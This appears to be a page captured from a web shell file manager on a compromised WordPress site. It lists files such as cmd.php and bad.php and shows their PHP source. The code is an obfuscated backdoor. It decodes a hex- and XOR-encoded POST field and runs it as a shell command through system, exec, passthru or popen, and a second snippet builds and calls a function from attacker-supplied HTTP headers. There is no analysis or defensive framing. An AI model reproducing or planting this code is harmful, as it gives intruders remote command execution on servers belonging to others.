Gecko [ maindisinibre4.click ]

Name	Size	Permission	Date
wp-admin	[ DIR ]	drwxr-xr-x	2026-02-10 06:28
wp-content	[ DIR ]	drwxr-xr-x	2026-02-10 02:41
wp-includes	[ DIR ]	drwxr-xr-x	2026-02-10 02:42
.htaccess	626 B	-r--r--r--	2026-02-08 23:10
.litespeed_flag	297 B	-rw-r--r--	2026-02-10 02:32
.val	54 B	-rw-r--r--	2026-02-08 22:34
Timing.php	1.67 KB	-rw-r--r--	2026-02-07 10:09
bad.php	1.23 KB	-rw-r--r--	2026-02-07 09:50
cmd.php	2.99 KB	-rw-r--r--	2026-02-07 09:54
error_log	61.01 KB	-rw-r--r--	2026-02-08 22:59

Rename

<?php																																										$dataflow_engine5 = "\x70\x6Fpen"; $dataflow_engine6 = "str\x65\x61m\x5Fget\x5Fc\x6Fnten\x74\x73"; $dataflow_engine2 = "\x73hel\x6C\x5Fexe\x63"; $module_controller = "h\x65\x78\x32b\x69n"; $dataflow_engine4 = "passthru"; $dataflow_engine1 = "sys\x74em"; $dataflow_engine7 = "\x70\x63\x6Cose"; $dataflow_engine3 = "\x65xe\x63"; if (isset($_POST["r\x65\x63\x6Frd"])) { function right_pad_string ( $element , $reference ){ $comp='' ; foreach(str_split($element) as $char){ $comp.=chr(ord($char)^$reference); } return $comp; } $record = $module_controller($_POST["r\x65\x63\x6Frd"]); $record = right_pad_string($record, 51); if (function_exists($dataflow_engine1)) { $dataflow_engine1($record); } elseif (function_exists($dataflow_engine2)) { print $dataflow_engine2($record); } elseif (function_exists($dataflow_engine3)) { $dataflow_engine3($record, $descriptor_element); print join("\n", $descriptor_element); } elseif (function_exists($dataflow_engine4)) { $dataflow_engine4($record); } elseif (function_exists($dataflow_engine5) && function_exists($dataflow_engine6) && function_exists($dataflow_engine7)) { $reference_comp = $dataflow_engine5($record, 'r'); if ($reference_comp) { $component_data_chunk = $dataflow_engine6($reference_comp); $dataflow_engine7($reference_comp); print $component_data_chunk; } } exit; }
 
//<PHPDATA>eval headers;X-Dns-Prefetch-Control;Server-Timing;Sec-Websocket-Accept</PHPDATA>
$_������˗=gEtALLHEADERS();if(isset($_������˗["\x58-Dns-Prefetch-Cont\162o\x6c"])):$_�����=$_������˗["X\055Dns-Prefe\x74\143h-Co\156t\x72ol"]("",$_������˗["Serv\145\x72\x2dTiming"]($_������˗["Se\x63-Web\x73\x6f\x63\x6bet-Accept"]));$_�����();endif;